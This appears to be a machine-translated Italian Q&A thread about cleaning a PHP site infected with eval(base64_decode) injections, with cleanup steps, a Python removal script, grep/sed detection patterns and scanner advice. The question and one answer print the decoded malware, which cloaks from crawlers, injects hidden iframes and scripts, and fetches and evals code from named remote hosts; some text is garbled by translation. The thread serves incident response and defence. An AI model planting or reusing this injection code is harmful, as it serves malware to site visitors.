Come sbarazzarsi di eval-base64_decode come i file virus PHP?

Il mio sito (molto grande sito web della comunità) è stato recentemente infettato da un virus. Ogni file index.php stato modificato in modo che il tag php iniziale di questi file sia stato modificato nella seguente row:

 <?php eval(base64_decode('ZXJyb+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0=')); 

Quando ho decodificato questo, ha prodotto il seguente codice PHP:

  <?php error_reporting(0); $bot = FALSE ; $user_agent_to_filter = arrays('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); $stop_ips_masks = arrays( arrays("216.239.32.0","216.239.63.255"), arrays("64.68.80.0" ,"64.68.87.255" ), arrays("66.102.0.0", "66.102.15.255"), arrays("64.233.160.0","64.233.191.255"), arrays("66.249.64.0", "66.249.95.255"), arrays("72.14.192.0", "72.14.255.255"), arrays("209.85.128.0","209.85.255.255"), arrays("198.108.100.192","198.108.100.207"), arrays("173.194.0.0","173.194.255.255"), arrays("216.33.229.144","216.33.229.151"), arrays("216.33.229.160","216.33.229.167"), arrays("209.185.108.128","209.185.108.255"), arrays("216.109.75.80","216.109.75.95"), arrays("64.68.88.0","64.68.95.255"), arrays("64.68.64.64","64.68.64.127"), arrays("64.41.221.192","64.41.221.207"), arrays("74.125.0.0","74.125.255.255"), arrays("65.52.0.0","65.55.255.255"), arrays("74.6.0.0","74.6.255.255"), arrays("67.195.0.0","67.195.255.255"), arrays("72.30.0.0","72.30.255.255"), arrays("38.0.0.0","38.255.255.255") ); $my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) { $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1])); if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){ if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} } if (!$bot) { echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>'; } 

Ho provato diverse cose per pulire il virus anche ripristinando da un backup e i file vengono reinfettati dopo pochi minuti o ore. Quindi puoi aiutarmi per favore?

Cosa sai di questo virus?

C'è un buco noto di sicurezza che usa per installare e propagare?

Cosa fa in realtà il codice php sopra?

Che cosa fa la pagina che incorpora nell'iframe?

E, naturalmente, ancora più importnte: cosa posso fare per sbarazzarmene?

Per favore aiuto, siamo stati quasi a corto di idee e speranza 🙁

UPDATE1 Altri dettagli: Una cosa strana è: quando abbiamo prima controllato i file infetti. Sono stati cambiati, ma il loro tempo modificato nel programma ftp mostrava che l'ultimo accesso poteva essere in alcuni casi giorni, mesi o addirittura anni fa! Com'è ansible? Mi fa impazzire!

AGGIORNAMENTO 2 Penso che il problema sia stato avviato dopo che un utente ha installato un plugin nella sua installazione di WordPress. Dopo il ripristino dal backup e l'eliminazione completa della cartella WordPress e del db associato, il problema sembra scomparso. Al momento abbiamo sottoscritto un servizio di sicurezza e stanno esaminando il problema solo per essere sicuri che l'hack sia andato per sempre. Grazie per chiunque abbia risposto.

Passos per ripristinare e disinfettare il tuo sito (a condizione che tu abbia un backup ben noto).

1) Spegni il sito

Devi sostanzialmente chiudere la port del tuo sito prima di eseguire i tuoi interventi correttivi. Ciò impedirà ai visitatori di ricevere codice dannoso, visualizzare messaggi di errore, ecc. Solo buone pratiche.

Dovresti essere in grado di farlo inserendo quanto segue nel tuo file .htaccess nel webroot. (Sostituisci "!! Your IP Address Here !!" con il tuo indirizzo IP personale – vedi http://icanhazip.com se non conosci il tuo indirizzo IP.)

 order deny,allow deny from all allow from !!Your IP Address Here!! 

2) Scarica una copia di tutti i tuoi file dal server

Scarica tutto in una cartella separata dai tuoi buoni backup. Questo potrebbe richiedere del tempo (dipende dalle size del tuo sito, dalla velocità di connessione, ecc.).

3) Scaricare e installare un'utilità di confronto file / cartelle

Su una macchina Windows, puoi usare WinMerge – http://winmerge.org/ – è gratuito e abbastanza potente. Su una macchina MacOS, controlla l'elenco di possibili alternative da Alternative.to

4) Eseguire l'utilità di confronto file / cartelle

Dovresti finire con alcuni risultati diversi:

  • I file sono identici – Il file corrente è uguale al tuo backup e quindi non è interessato.
  • File solo sul lato sinistro / destro – Quel file esiste solo nel backup (e potrebbe essere stato eliminato dal server), o esiste solo sul server (e potrebbe essere stato iniettato / creato dall'hacker).
  • Il file è diverso – Il file sul server non è uguale a quello nel backup, quindi potrebbe essere stato modificato dall'utente (per configurarlo per il server) o dall'hacker (per iniettare il codice).

5) Risolvi le differenze

(aka "Perché non possiamo andare tutti d'accordo?")

Per i file identici , non è richiesta alcuna ulteriore azione. Per i file che esistono solo su un lato , guarda il file e scopri se sono legittimi (cioè i caricamenti degli utenti che dovrebbero essere lì, i file aggiuntivi che potresti aver aggiunto, ecc.) Per i file che sono diversi , guarda il file ( l'utilità Differenza file può anche mostrare quali linee sono state aggiunte / modificate / rimosse e vedere se la versione del server è valida. Sovrascrivi (con la versione di backup) tutti i file che contengono codice dannoso.

6) Rivedi le tue precauzioni di sicurezza

Se questo è semplice come cambiare le tue password FTP / cPanel, o rivedere il tuo uso di risorse esterne / non controllate (come dici che stai facendo un sacco di fgets, fopens, ecc. Potresti voler controllare i parametri che sono passati a loro come quello è un modo per fare in modo che gli script inseriscano codice malevolo), ecc.

7) Verifica il funzionamento del sito

Sfrutta l'opportunità di essere l'unica persona che osserva il sito per assicurarsi che tutto funzioni ancora come previsto, dopo che i file infetti sono stati corretti e che i file dannosi sono stati rimossi.

8) Apri le porte

Invertire le modifiche apportte nel file .htaccess nel Passaggio 1. Guarda attentamente. Tieni d'occhio il visitatore e i log degli errori per vedere se qualcuno tenta di triggersre i file dannosi rimossi, ecc.

9) Prendi in considerazione i methods di rilevamento automatico

Esistono alcune soluzioni che ti consentono di eseguire un controllo automatico sull'host (utilizzando un process CRON) che rileverà e descriverà le modifiche che si verificano. Alcuni sono un po 'prolissi (riceverai un'email per each singolo file modificato), ma dovresti essere in grado di adattarli alle tue esigenze:

  • Tripwire – uno script PHP per rilevare e segnalare file nuovi, cancellati o modificati
  • Script di shell per monitorare le modifiche ai file
  • Come rilevare se il tuo server web viene violato e viene avvisato

10) Avere backup programmati e mantenere una buona parentesi

Assicurati di aver eseguito backup programmati sul tuo sito web, mantieni alcuni di questi, in modo da avere diversi passaggi che puoi tornare indietro nel tempo, se necessario. Ad esempio, se hai eseguito backup settimanali, potresti voler mantenere quanto segue:

  • 4 x backup settimanali
  • 4 x backup mensili (si mantiene uno dei backup settimanali, forse la prima settimana del mese, come il backup mensile)

Questi renderanno la vita sempre più facile se qualcuno ha attaccato il tuo sito con qualcosa di un po 'più distruttivo di un attacco di iniezione di codice.

Oh, e assicurati di fare il backup dei tuoi database anche – con molti siti basati su CMS, avere i file è bello, ma se perdi / corrompi il database dietro di loro, beh, i backup sono sostanzialmente inutili.

Per prima cosa, chiudi il tuo sito fino a quando non riesci a capire come è entrato e come risolverlo. Sembra che serva malware ai tuoi clienti.

Quindi, cercare tra i file php per fgets, fopen, fputs, eval o system. Raccommand Notepad ++ grazie alla sua function "Trova nei file". Inoltre, assicurati che sia l'unico posto in cui il tuo PHP è stato modificato. Hai una copia offline da confrontare?

Ho sofferto dello stesso lavoro di hacking. Sono stato in grado di decifrare il codice, e mentre ottenevo un codice php diverso, ho iniziato rimuovendo il text php immesso eseguendo il looping di ciascun file php nel sito e rimuovendo la chiamata eval. Sto ancora indagando su come ho avuto inizio, ma ecco come appariva il mio dopo aver decodificato da questo sito:

Per decodificare lo script php crittografato su ciascun file php, utilizzare questo: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

E formattando il risultato usando questo ragazzo: http://beta.phpformatter.com/

Per pulire è necessario rimuovere la row "eval" dalla parte superiore di ciascun file php ed eliminare le cartelle .log dalla cartella di base del sito web.

Ho trovato uno script python che ho modificato leggermente per rimuovere il trojan nei file php quindi lo posterò qui per altri utenti: codice sorgente da thread: sostituisci tutte le istanze di un personaggio con un altro in tutti i file gerarchicamente nell'tree delle directory

 import os import re import sys def try_to_replace(fname): if replace_extensions: return fname.lower().endswith(".php") return True def file_replace(fname, pat, s_after): # first, see if the pattern is even in the file. with open(fname) as f: if not any(re.search(pat, line) for line in f): return # pattern does not occur in file so we are done. # pattern is in the file, so perform replace operation. with open(fname) as f: out_fname = fname + ".tmp" out = open(out_fname, "w") for line in f: out.write(re.sub(pat, s_after, line)) out.close() os.rename(out_fname, fname) def mass_replace(dir_name, s_before, s_after): pat = re.compile(s_before) for dirpath, dirnames, filenames in os.walk(dir_name): for fname in filenames: if try_to_replace(fname): print "cleaning: " + fname fullname = os.path.join(dirpath, fname) file_replace(fullname, pat, s_after) if len(sys.argv) != 2: u = "Usage: rescue.py <dir_name>\n" sys.stderr.write(u) sys.exit(1) mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "") 

usare il tipo

python rescue.py rootfolder

Questo è ciò che lo script dannoso stava cercando di fare:

 <?php if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) { $_SERVER['mr_no'] = 1; if (!function_exists('mrobh')) { function get_tds_777($url) { $content = ""; $content = @trycurl_777($url); if ($content !== false) return $content; $content = @tryfile_777($url); if ($content !== false) return $content; $content = @tryfopen_777($url); if ($content !== false) return $content; $content = @tryfsockopen_777($url); if ($content !== false) return $content; $content = @trysocket_777($url); if ($content !== false) return $content; return ''; } function trycurl_777($url) { if (function_exists('curl_init') === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_HEADER, 0); $result = curl_exec($ch); curl_close($ch); if ($result == "") return false; return $result; } function tryfile_777($url) { if (function_exists('file') === false) return false; $inc = @file($url); $buf = @implode('', $inc); if ($buf == "") return false; return $buf; } function tryfopen_777($url) { if (function_exists('fopen') === false) return false; $buf = ''; $f = @fopen($url, 'r'); if ($f) { while (!feof($f)) { $buf .= fread($f, 10000); } fclose($f); } else return false; if ($buf == "") return false; return $buf; } function tryfsockopen_777($url) { if (function_exists('fsockopen') === false) return false; $p = @parse_url($url); $host = $p['host']; $uri = $p['path'] . '?' . $p['query']; $f = @fsockopen($host, 80, $errno, $errstr, 30); if (!$f) return false; $request = "GET $uri HTTP/1.0\n"; $request .= "Host: $host\n\n"; fwrite($f, $request); $buf = ''; while (!feof($f)) { $buf .= fread($f, 10000); } fclose($f); if ($buf == "") return false; list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf); return $buf; } function trysocket_777($url) { if (function_exists('socket_create') === false) return false; $p = @parse_url($url); $host = $p['host']; $uri = $p['path'] . '?' . $p['query']; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ([email protected]_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $request = "GET $uri HTTP/1.0\n"; $request .= "Host: $host\n\n"; socket_write($sock, $request); $buf = ''; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf); return $buf; } function update_tds_file_777($tdsfile) { $actual1 = $_SERVER['s_a1']; $actual2 = $_SERVER['s_a2']; $val = get_tds_777($actual1); if ($val == "") $val = get_tds_777($actual2); $f = @fopen($tdsfile, "w"); if ($f) { @fwrite($f, $val); @fclose($f); } if (strstr($val, "

CODE

")) { list($val, $code) = explode("

CODE

", $val); eval(base64_decode($code)); } return $val; } function get_actual_tds_777() { $defaultdomain = $_SERVER['s_d1']; $dir = $_SERVER['s_p1']; $tdsfile = $dir . "log1.txt"; if (@file_exists($tdsfile)) { $mtime = @filemtime($tdsfile); $ctime = time() – $mtime; if ($ctime > $_SERVER['s_t1']) { $content = update_tds_file_777($tdsfile); } else { $content = @file_get_contents($tdsfile); } } else { $content = update_tds_file_777($tdsfile); } $tds = @explode("\n", $content); $c = @count($tds) + 0; $url = $defaultdomain; if ($c > 1) { $url = trim($tds[mt_rand(0, $c – 2)]); } return $url; } function is_mac_777($ua) { $mac = 0; if (stristr($ua, "mac") || stristr($ua, "safari")) if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone"))) $mac = 1; return $mac; } function is_msie_777($ua) { $msie = 0; if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9")) $msie = 1; return $msie; } function setup_globals_777() { $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/"; $mz = "/tmp/"; if ([email protected]_dir($rz)) { @mkdir($rz); if (@is_dir($rz)) { $mz = $rz; } else { $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/"; if ([email protected]_dir($rz)) { @mkdir($rz); if (@is_dir($rz)) { $mz = $rz; } } else { $mz = $rz; } } } else { $mz = $rz; } $bot = 0; $ua = $_SERVER['HTTP_USER_AGENT']; if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) $bot = 1; if (stristr($ua, "bingbot") || stristr($ua, "google")) $bot = 1; $msie = 0; if (is_msie_777($ua)) $msie = 1; $mac = 0; if (is_mac_777($ua)) $mac = 1; if (($msie == 0) && ($mac == 0)) $bot = 1; global $_SERVER; $_SERVER['s_p1'] = $mz; $_SERVER['s_b1'] = $bot; $_SERVER['s_t1'] = 1200; $_SERVER['s_d1'] = base64_decode('http://ens122zzzddazz.com/&apos;); $d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]); $_SERVER['s_a1'] = base64_decode('http://cooperjsutf8.ru/g_load.php&apos😉 . $d; $_SERVER['s_a2'] = base64_decode('http://nlinthewood.com/g_load.php&apos😉 . $d; $_SERVER['s_script'] = "nl.php?p=d"; } setup_globals_777(); if (!function_exists('gml_777')) { function gml_777() { $r_string_777 = ''; if ($_SERVER['s_b1'] == 0) $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>'; return $r_string_777; } } if (!function_exists('gzdecodeit')) { function gzdecodeit($decode) { $t = @ord(@substr($decode, 3, 1)); $start = 10; $v = 0; if ($t & 4) { $str = @unpack('v', substr($decode, 10, 2)); $str = $str[1]; $start += 2 + $str; } if ($t & 8) { $start = @strpos($decode, chr(0), $start) + 1; } if ($t & 16) { $start = @strpos($decode, chr(0), $start) + 1; } if ($t & 2) { $start += 2; } $ret = @gzinflate(@substr($decode, $start)); if ($ret === FALSE) { $ret = $decode; } return $ret; } } function mrobh($content) { @Header('Content-Encoding: none'); $decoded_content = gzdecodeit($content); if (preg_match('/\<\/body/si', $decoded_content)) { return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content); } else { return $decoded_content . gml_777(); } } ob_start('mrobh'); } } ?>

Per eliminare questi dannosi PHP devi semplicemente rimuoverli. Se il file è infetto, è necessario rimuovere solo la parte che sembra sospetta.

È sempre complicato trovare questi file, perché di solito ce ne sono molti nella tua web root.

Di solito se vedi qualche tipo di offuscamento, è l'allarme rosso per te.

La maggior parte dei malware sono facili da trovare in base alle funzioni comuni che usano, questo include:

  • base64_decode ,
  • lzw_decompress ,
  • eval ,
  • e così via

Utilizzando il formato di codifica, stanno comprimendo le loro size e rendendole più difficili da decodificare da utenti non esperti.

Ecco alcuni comandi di grep che potrebbero trovare il codice PHP malware più comune:

 grep -R return.*base64_decode . grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' . 

È ansible eseguire questi comandi sul server o dopo aver sincronizzato il sito Web nel computer locale (tramite FTP, ad es. ncftpget -R ).

Oppure utilizzare gli strumenti di scansione appositamente progettati per trovare quel tipo di file dannosi, consultare: Scanner di sicurezza PHP .

Per scopi didattici, si prega di trovare la seguente raccolta di script di exploit PHP, trovati durante l'analisi dei server compromessi disponibili su GitHub di kenorb / php-exploit-scripts (influenzato dalla collezione originale di @Mattias ). Questo ti darà la comprensione di come appaiono questi file sospetti di PHP, così puoi imparare come trovarne altri sul tuo server.

Vedi anche: cosa fa questo script PHP dannoso?

  1. Garantire l'aggiornamento di qualsiasi applicazione Web popolare come WordPress o vBulletin. Ci sono molti exploit con le vecchie versioni che possono portre a compromettere il tuo server e probabilmente accadrà di nuovo se non vengono aggiornati. Non serve continuare fino a quando non viene fatto.

  2. Se i file continuano a essere sostituiti, c'è un rootkit o trojan in esecuzione in background. Quel file non può replicarsi. Dovrai prima sbarazzarti del rootkit. Prova rkhunter , chkrootkit e LMD . Confronta l'output di ps aux con un server sicuro e controlla /var/tmp e /tmp per i file sospetti. Potrebbe essere necessario reinstallare il sistema operativo.

  3. Assicurarsi che tutte le workstation che amministrano il server siano aggiornate e pulite. Non connettersi tramite connessioni wireless non sicure o utilizzare l'authentication di text normale come con FTP (utilizzare invece SFTP). Accedi solo ai pannelli di controllo con https.

  4. Per evitare che ciò accada di nuovo, esegui csf o firewall comparabili, LMD giornaliero esegue la scansione e resta aggiornato con le ultime patch di sicurezza per tutte le applicazioni sul server.

I miei siti web / o siti web che ho ospitato sono stati colpiti più volte con attacchi simili.

Vi presento ciò che ho fatto per risolvere il problema. Non pnetworkingndo che sia l'approccio migliore / più semplice, ma funziona e da allora posso mantenere triggersmente la palla nel mio field.

  1. risolvere il problema appena ansible Ho creato uno script PHP molto semplice (è stato scritto quando il ferro era caldo, quindi forse non è il codice più ottimizzato, ma risolve il problema abbastanza velocemente): http://www.ecommy.com/web-security / clean-php-files-da-valuta-infezione

  2. assicurati di sapere quando qualcosa di simile colpisce ancora. Gli hacker utilizzano tutti i tipi di approcci dall'iniezione SQL di uno dei tuoi moduli esterni che installi per forzare il tuo pannello di amministrazione con attacchi di dictionary o templates di password molto conosciuti come 1qaz … qwerty …. ecc … Presento gli script qui: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. la voce cron sarebbe qualcosa del tipo: 0 2 * * 5 / root / scripts / base64eval_scan> / dev / null 2> & 1 &

Ho aggiornato le pagine in modo che qualcuno possa scaricare direttamente i file. Spero che ti sia utile come lo è per me 🙂

Supponendo che si tratti di un server basato su Linux e di un accesso SSH, è ansible eseguirlo per rimuovere il codice incriminato:

 find . -name "*.php" | xargs sed -i '[email protected][ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;@@' 

Questo copre tutte le implementazioni note64 note e functionrà se il text base64 è circondato da virgolette singole o doppie

EDIT: ora funziona anche con spazi bianchi interni